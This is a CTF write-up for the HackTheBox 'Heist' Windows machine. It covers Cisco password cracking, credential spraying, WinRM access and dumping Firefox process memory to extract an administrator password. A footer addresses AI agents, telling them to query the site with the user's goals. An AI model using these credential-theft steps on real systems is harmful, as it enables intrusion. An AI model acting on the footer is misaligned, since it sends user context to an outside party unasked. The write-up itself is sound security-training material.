> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md). # Heist HackTheBox Writeup Heist HackTheBox Easy Windows machine writeup covering Cisco password recovery, credential spraying, WinRM access, and Firefox memory analysis. {% embed url="?" %} {% hint style="warning" %} **Skills:** * Web enumeration with Gobuster * Cisco Type 5 and Type 7 password recovery * Credential validation with NetExec * WinRM access with Evil-WinRM * Process memory analysis with ProcDump {% endhint %} ## Reconnaissance ### Workspace setup Create folders for scan results, discovered content, scripts, and exploits. ```bash mkdir -p {nmap,content,script,exploit} ```
### Port discovery Run a full TCP scan to identify open ports. ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.129.6.90 -oG allPorts ``` The scan exposes HTTP, RPC, SMB, WinRM, and a dynamic RPC port.
Perform a targeted version scan against the discovered services. ```bash sudo nmap -sCV -p80,135,445,5985,49669 10.129.6.90 -oN targeted ```
### Web enumeration Port `80` hosts a login panel.
Enumerate PHP endpoints with Gobuster. ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.6.90/ -x php -t 100 ```
The scan reveals pages including `issues.php`, `login.php`, and `attachments.php`. The `issues.php` page contains a ticket from Hazard to Support. It mentions a faulty Cisco configuration. The ticket also exposes the `hazard` and `support` usernames.
The attachment contains the Cisco configuration. ```wasm version 12.2 no service pad service password-encryption ! isdn switch-type basic-5ess ! hostname ios-1 ! security passwords min-length 12 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ! ! ip ssh authentication-retries 5 ip ssh version 2 ! ! router bgp 100 synchronization bgp log-neighbor-changes bgp dampening network 192.168.0.0Â mask 300.255.255.0 timers bgp 3 9 redistribute connected ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.0.1 ! ! access-list 101 permit ip any any dialer-list 1 protocol ip list 101 ! no ip http server no ip http secure-server ! line vty 0 4 session-timeout 60002375012182C1A1D751618034F36415408 authorization exec SSH transport input ssh ``` The configuration contains an `enable secret` hash and two Cisco Type 7 passwords. ```bash $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ``` Cracking the Type 5 hash recovers `stealth1agent`.
Validate the recovered password against SMB. It works for `hazard`. ```bash nxc smb 10.129.6.90 -u 'hazard' -p 'stealth1agent' --shares ```
Attempt a WinRM session with the same credentials. ```wasm evil-winrm -u "hazard" -p "stealth1agent" -i "10.129.6.90" ``` The connection fails because `hazard` lacks WinRM access.
### User enumeration Use RID brute forcing to enumerate local users. {% code overflow="wrap" %} ```bash netexec smb 10.129.6.90 -u "hazard" -p "stealth1agent" --rid-brute ``` {% endcode %} This returns the following users: * Hazard * Support * Chase * Jason ### Cisco Type 7 password recovery Recover the remaining encrypted passwords from the configuration. ``` username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ``` Use a Cisco Type 7 decoder to decrypt both values. {% embed url="" %} The decrypted passwords are: * $uperP\@ssword * Q4)sJu\Y8qz\*A3?d
Create a list of candidate users. {% code overflow="wrap" %} ```bash Support Chase Jason ``` {% endcode %} Create a password list. {% code overflow="wrap" %} ```bash $uperP@ssword Q4)sJu\Y8qz*A3?d ``` {% endcode %} Test each user and password combination through SMB. {% code overflow="wrap" %} ```bash nxc smb 10.129.6.90 -u users.txt -p passwords.txt ``` {% endcode %} The results identify valid credentials for `Chase`: * Chase * Q4)sJu\Y8qz\*A3?d
### Initial access Connect as `Chase` through WinRM. {% code overflow="wrap" %} ```bash evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i "10.129.6.90" ``` {% endcode %}
Retrieve the user flag.
### Privilege escalation Run `ps` and notice that Firefox is running. ```bash ps ```
An active browser process may contain credentials in memory. Use ProcDump to capture the Firefox process memory. ```bash wget https://download.sysinternals.com/files/Procdump.zip ``` {% embed url="" %}
Upload `procdump64.exe` to the target. ```bash upload /workspace/procdump64.exe ```
Dump the Firefox process. ```bash .\procdump64.exe -accepteula -ma 3092 firefox_debug.dmp ```
Download the memory dump for local analysis. ```bash download "C:/Users/Chase/Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp ``` The download takes time because the dump is large.
Search the dump strings for password-related values instead of waiting for a full review. ```bash strings firefox_debug.dmp | grep password ``` This reveals credentials for the administrative account. ```bash admin@support.htb&login_password=4dD!5}x/re8]FBuZ ```
Validate the recovered password against SMB. ```bash nxc smb 10.129.6.90 -u "Administrator" -p "4dD!5}x/re8]FBuZ" ```
### Administrator access Connect through WinRM as `Administrator`. {% code overflow="wrap" %} ```bash evil-winrm -i '10.129.6.90' -u 'Administrator' -p '4dD!5}x/re8]FBuZ' ``` {% endcode %} The session has administrator privileges.
Retrieve the root flag.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.